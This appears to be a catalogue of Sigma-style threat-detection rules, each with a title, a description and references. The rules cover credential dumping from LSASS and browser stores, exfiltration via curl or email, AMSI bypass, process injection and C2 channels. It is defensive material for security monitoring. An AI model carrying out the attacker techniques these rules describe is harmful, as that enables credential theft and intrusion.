Mail Forwarding/Redirecting Activity In O365	Detects email forwarding or redirecting acitivty in O365 Audit logs.	https://redcanary.com/blog/email-forwarding-rules/, https://github.com/PwC-IR/Business-Email-Compromise-Guide/blob/fe29ce06aef842efe4eb448c26bbe822bf5b895d/PwC-Business_Email_Compromise-Guide.pdf
Python Path Configuration File Creation - Linux	Detects creation of a Python path configuration file (.pth) in Python library folders, which can be maliciously abused for code execution and persistence. Modules referenced by these files are run at every Python startup (v3.5+), regardless of whether the module is imported by the calling script. Default paths are '\lib\site-packages\.pth' (Windows) and '/lib/pythonX.Y/site-packages/.pth' (Unix and macOS).	https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/, https://www.virustotal.com/gui/file/3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac, https://docs.python.org/3/library/site.html
Okta Password Health Report Query	Detects all activities against the endpoint "/reports/password-health/*" which should only be accessed via OKTA Admin Console UI. Use this rule to hunt for potential suspicious requests. Correlate this event with "admin console" login and alert on requests without any corresponding admin console login	https://www.beyondtrust.com/blog/entry/okta-support-unit-breach
Terminate Linux Process Via Kill	Detects usage of command line tools such as "kill", "pkill" or "killall" to terminate or signal a running process.	https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html, https://www.cyberciti.biz/faq/how-force-kill-process-linux/, https://www.geeksforgeeks.org/how-to-kill-processes-on-the-linux-desktop-with-xkill/
Process Discovery	Detects process discovery commands. Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1057/T1057.md, https://www.cyberciti.biz/faq/show-all-running-processes-in-linux/
Python Path Configuration File Creation - MacOS	Detects creation of a Python path configuration file (.pth) in Python library folders, which can be maliciously abused for code execution and persistence. Modules referenced by these files are run at every Python startup (v3.5+), regardless of whether the module is imported by the calling script. Default paths are '\lib\site-packages\.pth' (Windows) and '/lib/pythonX.Y/site-packages/.pth' (Unix and macOS).	https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/, https://www.virustotal.com/gui/file/3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac, https://docs.python.org/3/library/site.html
Clipboard Data Collection Via Pbpaste	Detects execution of the "pbpaste" utility, which retrieves the contents of the clipboard (a.k.a. pasteboard) and writes them to the standard output (stdout). The utility is often used for creating new files with the clipboard content or for piping clipboard contents to other commands. It can also be used in shell scripts that may require clipboard content as input. Attackers can abuse this utility in order to collect data from the user clipboard, which may contain passwords or sensitive information. Use this rule to hunt for potential abuse of the utility by looking at the parent process and any potentially suspicious command line content.	https://www.loobins.io/binaries/pbpaste/, https://medium.com/@NullByteWht/hacking-macos-how-to-dump-1password-keepassx-lastpass-passwords-in-plaintext-723c5b1c311b, https://media.defense.gov/2021/Jul/19/2002805003/-1/-1/1/CSA_CHINESE_STATE-SPONSORED_CYBER_TTPS.PDF
.Class Extension URI Ending Request	Detects requests to URI ending with the ".class" extension in proxy logs. This could rules can be used to hunt for potential downloads of Java classes as seen for example in Log4shell exploitation attacks against Log4j.	https://web.archive.org/web/20231230220738/https://www.lunasec.io/docs/blog/log4j-zero-day/
Firewall Rule Modified In The Windows Firewall Exception List	Detects when a rule has been modified in the Windows firewall exception list	https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)
Access To Browser Credential Files By Uncommon Applications - Security	Detects file access requests to browser credential stores by uncommon processes. Could indicate potential attempt of credential stealing This rule requires heavy baselining before usage.	https://ipurple.team/2024/09/10/browser-stored-credentials/
Scheduled Task Deletion	Detects scheduled task deletion events. Scheduled tasks are likely to be deleted if not used for persistence. Malicious Software often creates tasks directly under the root node e.g. \TASKNAME	https://twitter.com/matthewdunwoody/status/1352356685982146562, https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4699
Potential Remote WMI ActiveScriptEventConsumers Activity	Detect potential adversaries leveraging WMI ActiveScriptEventConsumers remotely to move laterally in a network. This event is best correlated and used as an enrichment to determine the potential lateral movement activity.	https://threathunterplaybook.com/hunts/windows/200902-RemoteWMIActiveScriptEventConsumers/notebook.html
CreateRemoteThread API and LoadLibrary	Detects potential use of CreateRemoteThread api and LoadLibrary function to inject DLL into a process	https://threathunterplaybook.com/hunts/windows/180719-DLLProcessInjectionCreateRemoteThread/notebook.html
Remote Thread Creation Via PowerShell	Detects the creation of a remote thread from a Powershell process to another process	https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse
Access To Browser Credential Files By Uncommon Applications	Detects file access requests to browser credential stores by uncommon processes. Could indicate potential attempt of credential stealing. Requires heavy baselining before usage	https://www.zscaler.com/blogs/security-research/ffdroider-stealer-targeting-social-media-platform-users, https://github.com/lclevy/firepwd
Access To Chromium Browsers Sensitive Files By Uncommon Applications	Detects file access requests to chromium based browser sensitive files by uncommon processes. Could indicate potential attempt of stealing sensitive information.	Internal Research
Access To Windows Outlook Mail Files By Uncommon Applications	Detects file access requests to Windows Outlook Mail by uncommon processes. Could indicate potential attempt of credential stealing. Requires heavy baselining before usage	https://darkdefender.medium.com/windows-10-mail-app-forensics-39025f5418d2, https://github.com/redcanaryco/atomic-red-team/blob/58496ee3306e6e42a7054d36a94e6eb561ee3081/atomics/T1070.008/T1070.008.md#atomic-test-4---copy-and-modify-mailbox-data-on-windows
Access To Sysvol Policies Share By Uncommon Process	Detects file access requests to the Windows Sysvol Policies Share by uncommon processes	https://github.com/vletoux/pingcastle
Access To .Reg/.Hive Files By Uncommon Applications	Detects file access requests to files ending with either the ".hive"/".reg" extension, usually associated with Windows Registry backups.	https://github.com/tccontre/Reg-Restore-Persistence-Mole
Unattend.XML File Access Attempt	Detects attempts to access the "unattend.xml" file, where credentials might be stored. This file is used during the unattended windows install process.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md
ADS Zone.Identifier Deleted	Detects the deletion of the "Zone.Identifier" ADS. Attackers can leverage this in order to bypass security restrictions that make use of the ADS such as Microsoft Office apps.	https://securityliterate.com/how-malware-abuses-the-zone-identifier-to-circumvent-detection-and-analysis/
DMP/HDMP File Creation	Detects the creation of a file with the ".dmp"/".hdmp" extension. Often created by software during a crash. Memory dumps can sometimes contain sensitive information such as credentials. It's best to determine the source of the crash.	https://learn.microsoft.com/en-us/windows/win32/wer/collecting-user-mode-dumps
Python Path Configuration File Creation - Windows	Detects creation of a Python path configuration file (.pth) in Python library folders, which can be maliciously abused for code execution and persistence. Modules referenced by these files are run at every Python startup (v3.5+), regardless of whether the module is imported by the calling script. Default paths are '\lib\site-packages\.pth' (Windows) and '/lib/pythonX.Y/site-packages/.pth' (Unix and macOS).	https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/, https://www.virustotal.com/gui/file/3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac, https://docs.python.org/3/library/site.html
Scheduled Task Created - FileCreation	Detects the creation of a scheduled task via file creation.	https://center-for-threat-informed-defense.github.io/summiting-the-pyramid/analytics/task_scheduling/, https://posts.specterops.io/abstracting-scheduled-tasks-3b6451f6a1c5
Creation of an Executable by an Executable	Detects the creation of an executable by another executable.	Internal Research
VsCode Code Tunnel Execution File Indicator	Detects the creation of a file with the name "code_tunnel.json" which indicate execution and usage of VsCode tunneling utility. Attackers can abuse this functionality to establish a C2 channel	https://ipfyx.fr/post/visual-studio-code-tunnel/, https://badoption.eu/blog/2023/01/31/code_c2.html
WebDAV Temporary Local File Creation	Detects the creation of WebDAV temporary files with potentially suspicious extensions	https://www.trellix.com/en-us/about/newsroom/stories/research/beyond-file-search-a-novel-method.html, https://micahbabinski.medium.com/search-ms-webdav-and-chill-99c5b23ac462, https://dear-territory-023.notion.site/WebDav-Share-Testing-e4950fa0c00149c3aa430d779b9b1d0f?pvs=4
Non-DLL Extension File Renamed With DLL Extension	Detects rename operations of files with non-DLL extensions to files with a DLL extension. This is often performed by malware in order to avoid initial detections based on extensions.	https://twitter.com/ffforward/status/1481672378639912960, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1036/T1036.md#atomic-test-1---system-file-copied-to-unusual-location
Amsi.DLL Load By Uncommon Process	Detects loading of Amsi.dll by uncommon processes	https://infosecwriteups.com/amsi-bypass-new-way-2023-d506345944e9, https://github.com/TheD1rkMtr/AMSI_patch, https://github.com/surya-dev-singh/AmsiBypass-OpenSession
Dbghelp/Dbgcore DLL Loaded By Uncommon/Suspicious Process	Detects the load of dbghelp/dbgcore DLL by a potentially uncommon or potentially suspicious process. The Dbghelp and Dbgcore DLLs export functions that allow for the dump of process memory. Tools like ProcessHacker, Task Manager and some attacker tradecraft use the MiniDumpWriteDump API found in dbghelp.dll or dbgcore.dll. As an example, SilentTrynity C2 Framework has a module that leverages this API to dump the contents of Lsass.exe and transfer it over the network back to the attacker's machine. Keep in mind that many legitimate Windows processes and services might load the aforementioned DLLs for debugging or other related purposes. Investigate the CommandLine and the Image location of the process loading the DLL.	https://docs.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump, https://www.pinvoke.net/default.aspx/dbghelp/MiniDumpWriteDump.html, https://medium.com/@fsx30/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6
System Drawing DLL Load	Detects processes loading "System.Drawing.ni.dll". This could be an indicator of potential Screen Capture.	https://github.com/OTRF/detection-hackathon-apt29/issues/16, https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/7.A.1_3B4E5808-3C71-406A-B181-17B0CE3178C9.md
Task Scheduler DLL Loaded By Application Located In Potentially Suspicious Location	Detects the loading of the "taskschd.dll" module from a process that located in a potentially suspicious or uncommon directory. The loading of this DLL might indicate that the application have the capability to create a scheduled task via the "Schedule.Service" COM object. Investigation of the loading application and its behavior is required to determining if its malicious.	https://www.logpoint.com/en/blog/shenanigans-of-scheduled-tasks/, https://x.com/Max_Mal_/status/1826179497084739829
Microsoft Excel Add-In Loaded	Detects Microsoft Excel loading an Add-In (.xll) file	https://www.mandiant.com/resources/blog/lnk-between-browsers
Microsoft Word Add-In Loaded	Detects Microsoft Word loading an Add-In (.wll) file which can be used by threat actors for initial access or persistence.	https://labs.withsecure.com/publications/add-in-opportunities-for-office-persistence, https://nored0x.github.io/red-teaming/office-persistence/#what-is-a-wll-file
WMI Module Loaded By Uncommon Process	Detects WMI modules being loaded by an uncommon process	https://threathunterplaybook.com/hunts/windows/190811-WMIModuleLoad/notebook.html
Dfsvc.EXE Network Connection To Non-Local IPs	Detects network connections from "dfsvc.exe" used to handled ClickOnce applications to non-local IPs	https://posts.specterops.io/less-smartscreen-more-caffeine-ab-using-clickonce-for-trusted-code-execution-1446ea8051c5
Dfsvc.EXE Initiated Network Connection Over Uncommon Port	Detects an initiated network connection over uncommon ports from "dfsvc.exe". A utility used to handled ClickOnce applications.	https://posts.specterops.io/less-smartscreen-more-caffeine-ab-using-clickonce-for-trusted-code-execution-1446ea8051c5
Dllhost.EXE Initiated Network Connection To Non-Local IP Address	Detects Dllhost.EXE initiating a network connection to a non-local IP address. Aside from Microsoft own IP range that needs to be excluded. Network communication from Dllhost will depend entirely on the hosted DLL. An initial baseline is recommended before deployment.	https://redcanary.com/blog/child-processes/, https://nasbench.medium.com/what-is-the-dllhost-exe-process-actually-running-ef9fe4c19c08
HH.EXE Initiated HTTP Network Connection	Detects a network connection initiated by the "hh.exe" process to HTTP destination ports, which could indicate the execution/download of remotely hosted .chm files.	https://www.splunk.com/en_us/blog/security/follina-for-protocol-handlers.html, https://github.com/redcanaryco/atomic-red-team/blob/1cf4dd51f83dcb0ebe6ade902d6157ad2dbc6ac8/atomics/T1218.001/T1218.001.md
Msiexec.EXE Initiated Network Connection Over HTTP	Detects a network connection initiated by an "Msiexec.exe" process over port 80 or 443. Adversaries might abuse "msiexec.exe" to install and execute remotely hosted packages. Use this rule to hunt for potentially anomalous or suspicious communications.	https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md
Network Connection Initiated By PowerShell Process	Detects a network connection that was initiated from a PowerShell process. Often times malicious powershell scripts download additional payloads or communicate back to command and control channels via uncommon ports or IPs. Use this rule as a basis for hunting for anomalies.	https://www.youtube.com/watch?v=DLtJTxMWZ2o
Potentially Suspicious Azure Front Door Connection	Detects connections with Azure Front Door (known legitimate service that can be leveraged for C2) that fall outside of known benign behavioral baseline (not using common apps or common azurefd.net endpoints)	https://lots-project.com/site/2a2e617a75726566642e6e6574, https://medium.com/r3d-buck3t/red-teaming-in-cloud-leverage-azure-frontdoor-cdn-for-c2-redirectors-79dd9ca98178, https://www.fortalicesolutions.com/posts/hiding-behind-the-front-door-with-azure-domain-fronting
Network Connection Initiated From Users\Public Folder	Detects a network connection initiated from a process located in the "C:\Users\Public" folder. Attacker are known to drop their malicious payloads and malware in this directory as its writable by everyone. Use this rule to hunt for potential suspicious or uncommon activity in your environement.	https://docs.google.com/spreadsheets/d/17pSTDNpa0sf6pHeRhusvWG6rThciE8CsXTSlDUAZDyo
PsExec Default Named Pipe	Detects PsExec service default pipe creation	https://www.jpcert.or.jp/english/pub/sr/ir_research.html, https://jpcertcc.github.io/ToolAnalysisResultSheet
Uncommon PowerShell Hosts	Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe	https://threathunterplaybook.com/hunts/windows/190815-RemoteServiceInstallation/notebook.html
bXOR Operator Usage In PowerShell Command Line - PowerShell Classic	Detects powershell execution with that make use of to the bxor (Bitwise XOR). Attackers might use as an alternative obfuscation method to Base64 encoded commands. Investigate the CommandLine and process tree to determine if the activity is malicious.	https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=46, https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_arithmetic_operators?view=powershell-5.1
Local Firewall Rules Enumeration Via NetFirewallRule Cmdlet	Detects execution of "Get-NetFirewallRule" or "Show-NetFirewallRule" to enumerate the local firewall rules on a host.	https://learn.microsoft.com/en-us/powershell/module/netsecurity/get-netfirewallrule?view=windowsserver2022-ps, https://learn.microsoft.com/en-us/powershell/module/netsecurity/show-netfirewallrule?view=windowsserver2022-ps
Compress-Archive Cmdlet Execution	Detects PowerShell scripts that make use of the "Compress-Archive" cmdlet in order to compress folders and files. An adversary might compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560/T1560.md
Windows Mail App Mailbox Access Via PowerShell Script	Detects PowerShell scripts that try to access the default Windows MailApp MailBox. This indicates manipulation of or access to the stored emails of a user. E.g. this could be used by an attacker to exfiltrate or delete the content of the emails.	https://github.com/redcanaryco/atomic-red-team/blob/02cb591f75064ffe1e0df9ac3ed5972a2e491c97/atomics/T1070.008/T1070.008.md
New Windows Firewall Rule Added Via New-NetFirewallRule Cmdlet - ScriptBlock	Detects when a powershell script contains calls to the "New-NetFirewallRule" cmdlet in order to add a new firewall rule with an "Allow" action.	https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.004/T1562.004.md#atomic-test-24---set-a-firewall-rule-using-new-netfirewallrule, https://malware.news/t/the-rhysida-ransomware-activity-analysis-and-ties-to-vice-society/72170, https://cybersecuritynews.com/rhysida-ransomware-attacking-windows/
SMB over QUIC Via PowerShell Script	Detects the mounting of Windows SMB shares over QUIC, which can be an unexpected event in some enterprise environments	https://github.com/redcanaryco/atomic-red-team/blob/74438b0237d141ee9c99747976447dc884cb1a39/atomics/T1570/T1570.md, https://learn.microsoft.com/en-us/powershell/module/smbshare/new-smbmapping?view=windowsserver2022-ps, https://www.trustedsec.com/blog/making-smb-accessible-with-ntlmquic/
Potential Registry Reconnaissance Via PowerShell Script	Detects PowerShell scripts with potential registry reconnaissance capabilities. Adversaries may interact with the Windows registry to gather information about the system credentials, configuration, and installed software.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1012/T1012.md
Use Of Remove-Item to Delete File - ScriptBlock	PowerShell Remove-Item with -Path to delete a file or a folder with "-Recurse"	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md, https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/Remove-Item?view=powershell-5.1&viewFallbackFrom=powershell-7
Potential Data Exfiltration Over SMTP Via Send-MailMessage Cmdlet	Detects the execution of a PowerShell script with a call to the "Send-MailMessage" cmdlet along with the "-Attachments" flag. This could be a potential sign of data exfiltration via Email. Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048.003/T1048.003.md#atomic-test-5---exfiltration-over-alternative-protocol---smtp, https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/send-mailmessage?view=powershell-7.4, https://www.ietf.org/rfc/rfc2821.txt
WinAPI Library Calls Via PowerShell Scripts	Detects calls to WinAPI libraries from PowerShell scripts. Attackers can often leverage these APIs to avoid detection based on typical PowerShell function calls. Use this rule as a basis to hunt for interesting scripts.	https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse
WinAPI Function Calls Via PowerShell Scripts	Detects calls to WinAPI functions from PowerShell scripts. Attackers can often leverage these APIs to avoid detection based on typical PowerShell function calls. Use this rule as a basis to hunt for interesting scripts.	https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse
Potential Credential Dumping Attempt Via PowerShell	Detects a PowerShell process requesting access to "lsass.exe", which can be indicative of potential credential dumping attempts	https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse
LSASS Access From Program In Potentially Suspicious Folder	Detects process access to LSASS memory with suspicious access flags and from a potentially suspicious folder	https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights, https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow, https://web.archive.org/web/20230208123920/https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html, https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment, https://web.archive.org/web/20230420013146/http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf
Uncommon GrantedAccess Flags On LSASS	Detects process access to LSASS memory with uncommon access flags 0x410 and 0x01410	https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights, https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow, https://web.archive.org/web/20230208123920/https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html, https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment, https://web.archive.org/web/20230420013146/http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf
Potential Shellcode Injection	Detects potential shellcode injection as seen used by tools such as Metasploit's migrate and Empire's psinject.	https://github.com/EmpireProject/PSInject
Password Protected Compressed File Extraction Via 7Zip	Detects usage of 7zip utilities (7z.exe, 7za.exe and 7zr.exe) to extract password protected zip files.	https://blog.cyble.com/2022/06/07/bumblebee-loader-on-the-rise/
Set Files as System Files Using Attrib.EXE	Detects the execution of "attrib" with the "+s" flag to mark files as system files	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md#atomic-test-3---create-windows-system-file-with-attrib, https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/attrib, https://unit42.paloaltonetworks.com/unit42-sure-ill-take-new-combojack-malware-alters-clipboards-steal-cryptocurrency/
Potential BOINC Software Execution (UC-Berkeley Signature)	Detects the use of software that is related to the University of California, Berkeley via metadata information. This indicates it may be related to BOINC software and can be used maliciously if unauthorized.	https://boinc.berkeley.edu/, https://www.huntress.com/blog/fake-browser-updates-lead-to-boinc-volunteer-computing-software
CMD Shell Output Redirect	Detects the use of the redirection character ">" to redirect information on the command line. This technique is sometimes used by malicious actors in order to redirect the output of reconnaissance commands such as "hostname" and "dir" to files for future exfiltration.	https://ss64.com/nt/syntax-redirection.html
Potential File Override/Append Via SET Command	Detects the use of the "SET" internal command of Cmd.EXE with the /p flag followed directly by an "=" sign. Attackers used this technique along with an append redirection operator ">>" in order to update the content of a file indirectly. Ex: cmd /c >> example.txt set /p="test data". This will append "test data" to contents of "example.txt". The typical use case of the "set /p=" command is to prompt the user for input.	https://news.sophos.com/en-us/2024/08/07/sophos-mdr-hunt-tracks-mimic-ransomware-campaign-against-organizations-in-india/, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/set_1, https://ss64.com/nt/set.html
Headless Process Launched Via Conhost.EXE	Detects the launch of a child process via "conhost.exe" with the "--headless" flag. The "--headless" flag hides the windows from the user upon execution.	https://www.huntress.com/blog/fake-browser-updates-lead-to-boinc-volunteer-computing-software
Dynamic .NET Compilation Via Csc.EXE - Hunting	Detects execution of "csc.exe" to compile .NET code. Attackers often leverage this to compile code on the fly and use it in other stages.	https://securityboulevard.com/2019/08/agent-tesla-evading-edr-by-removing-api-hooks/, https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf, https://app.any.run/tasks/c6993447-d1d8-414e-b856-675325e5aa09/, https://twitter.com/gN3mes1s/status/1206874118282448897
File Download Via Curl.EXE	Detects file download using curl.exe	https://web.archive.org/web/20200128160046/https://twitter.com/reegun21/status/1222093798009790464
Curl.EXE Execution	Detects a curl process start on Windows, which could indicates a file download from a remote location or a simple web request to a remote server	https://web.archive.org/web/20200128160046/https://twitter.com/reegun21/status/1222093798009790464
Potential Data Exfiltration Via Curl.EXE	Detects the execution of the "curl" process with "upload" flags. Which might indicate potential data exfiltration	https://twitter.com/d1r4c/status/1279042657508081664, https://medium.com/@petehouston/upload-files-with-curl-93064dcccc76, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-19---curl-upload-file, https://curl.se/docs/manpage.html
Diskshadow Child Process Spawned	Detects any child process spawning from "Diskshadow.exe". This could be due to executing Diskshadow in interpreter mode or script mode and using the "exec" flag to launch other applications.	https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/, https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration, https://medium.com/@cyberjyot/lolbin-execution-via-diskshadow-f6ff681a27a4, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow
Curl.EXE Execution With Custom UserAgent	Detects execution of curl.exe with custom useragent options	https://curl.se/docs/manpage.html, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1071.001/T1071.001.md#atomic-test-2---malicious-user-agents---cmd
ClickOnce Deployment Execution - Dfsvc.EXE Child Process	Detects child processes of "dfsvc" which indicates a ClickOnce deployment execution.	https://posts.specterops.io/less-smartscreen-more-caffeine-ab-using-clickonce-for-trusted-code-execution-1446ea8051c5
Diskshadow Script Mode Execution	Detects execution of "Diskshadow.exe" in script mode using the "/s" flag. Attackers often abuse "diskshadow" to execute scripts that deleted the shadow copies on the systems. Investigate the content of the scripts and its location.	https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/, https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration, https://medium.com/@cyberjyot/lolbin-execution-via-diskshadow-f6ff681a27a4, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow
Potential Proxy Execution Via Explorer.EXE From Shell Process	Detects the creation of a child "explorer.exe" process from a shell like process such as "cmd.exe" or "powershell.exe". Attackers can use "explorer.exe" for evading defense mechanisms by proxying the execution through the latter. While this is often a legitimate action, this rule can be use to hunt for anomalies. Muddy Waters threat actor was seeing using this technique.	https://twitter.com/CyberRaiju/status/1273597319322058752, https://app.any.run/tasks/9a8fd563-4c54-4d0a-9ad8-1fe08339cbc3/
Potential DLL Sideloading Activity Via ExtExport.EXE	Detects the execution of "Extexport.exe".A utility that is part of the Internet Explorer browser and is used to export and import various settings and data, particularly when switching between Internet Explorer and other web browsers like Firefox. It allows users to transfer bookmarks, browsing history, and other preferences from Internet Explorer to Firefox or vice versa. It can be abused as a tool to side load any DLL. If a folder is provided in the command line it'll load any DLL with one of the following names "mozcrt19.dll", "mozsqlite3.dll", or "sqlite.dll". Arbitrary DLLs can also be loaded if a specific number of flags was provided.	https://lolbas-project.github.io/lolbas/Binaries/Extexport/, https://www.hexacorn.com/blog/2018/04/24/extexport-yet-another-lolbin/, https://www.microsoft.com/en-us/security/blog/2020/03/23/latest-astaroth-living-off-the-land-attacks-are-even-more-invisible-but-not-less-observable/, https://res.armor.com/resources/threat-intelligence/astaroth-banking-trojan/, https://securelist.com/the-tetrade-brazilian-banking-malware/97779/, https://www.welivesecurity.com/2020/03/05/guildma-devil-drives-electric/
Potential Password Reconnaissance Via Findstr.EXE	Detects command line usage of "findstr" to search for the "passwords" keyword in a variety of different languages	https://steflan-security.com/windows-privilege-escalation-credential-harvesting/, https://adsecurity.org/?p=2288
New Self Extracting Package Created Via IExpress.EXE	Detects the "iexpress.exe" utility creating self-extracting packages. Attackers where seen leveraging "iexpress" to compile packages on the fly via ".sed" files. Investigate the command line options provided to "iexpress" and in case of a ".sed" file, check the contents and legitimacy of it.	https://strontic.github.io/xcyclopedia/library/iexpress.exe-D594B2A33EFAFD0EABF09E3FDC05FCEA.html, https://en.wikipedia.org/wiki/IExpress, https://decoded.avast.io/janvojtesek/raspberry-robins-roshtyak-a-little-lesson-in-trickery/, https://www.virustotal.com/gui/file/602f4ae507fa8de57ada079adff25a6c2a899bd25cd092d0af7e62cdb619c93c/behavior
Microsoft Workflow Compiler Execution	Detects the execution of Microsoft Workflow Compiler, which may permit the execution of arbitrary unsigned code.	https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md, https://lolbas-project.github.io/lolbas/Binaries/Microsoft.Workflow.Compiler/
CodePage Modification Via MODE.COM	Detects a CodePage modification using the "mode.com" utility. This behavior has been used by threat actors behind Dharma ransomware.	https://learn.microsoft.com/en-us/windows/win32/intl/code-page-identifiers, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/mode, https://strontic.github.io/xcyclopedia/library/mode.com-59D1ED51ACB8C3D50F1306FD75F20E99.html, https://www.virustotal.com/gui/file/5e75ef02517afd6e8ba6462b19217dc4a5a574abb33d10eb0f2bab49d8d48c22/behavior
Net.EXE Execution	Detects execution of "Net.EXE".	https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/, https://eqllib.readthedocs.io/en/latest/analytics/4d2e7fc1-af0b-4915-89aa-03d25ba7805e.html, https://eqllib.readthedocs.io/en/latest/analytics/e61f557c-a9d0-4c25-ab5b-bbc46bb24deb.html, https://eqllib.readthedocs.io/en/latest/analytics/9b3dd402-891c-4c4d-a662-28947168ce61.html, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1007/T1007.md#atomic-test-2---system-service-discovery---netexe
SMB over QUIC Via Net.EXE	Detects the mounting of Windows SMB shares over QUIC, which can be an unexpected event in some enterprise environments.	https://github.com/redcanaryco/atomic-red-team/blob/74438b0237d141ee9c99747976447dc884cb1a39/atomics/T1570/T1570.md, https://www.trustedsec.com/blog/making-smb-accessible-with-ntlmquic/
Suspicious New Instance Of An Office COM Object	Detects an svchost process spawning an instance of an office application. This happens when the initial word application creates an instance of one of the Office COM objects such as 'Word.Application', 'Excel.Application', etc. This can be used by malicious actors to create malicious Office documents with macros on the fly. (See vba2clr project in the references)	https://learn.microsoft.com/en-us/previous-versions/office/troubleshoot/office-developer/automate-word-create-file-using-visual-basic, https://github.com/med0x2e/vba2clr
Import New Module Via PowerShell CommandLine	Detects usage of the "Import-Module" cmdlet in order to add new Cmdlets to the current PowerShell session	https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/import-module?view=powershell-7.3, https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/import-module?view=powershell-5.1
Unusually Long PowerShell CommandLine	Detects unusually long PowerShell command lines with a length of 1000 characters or more	https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse
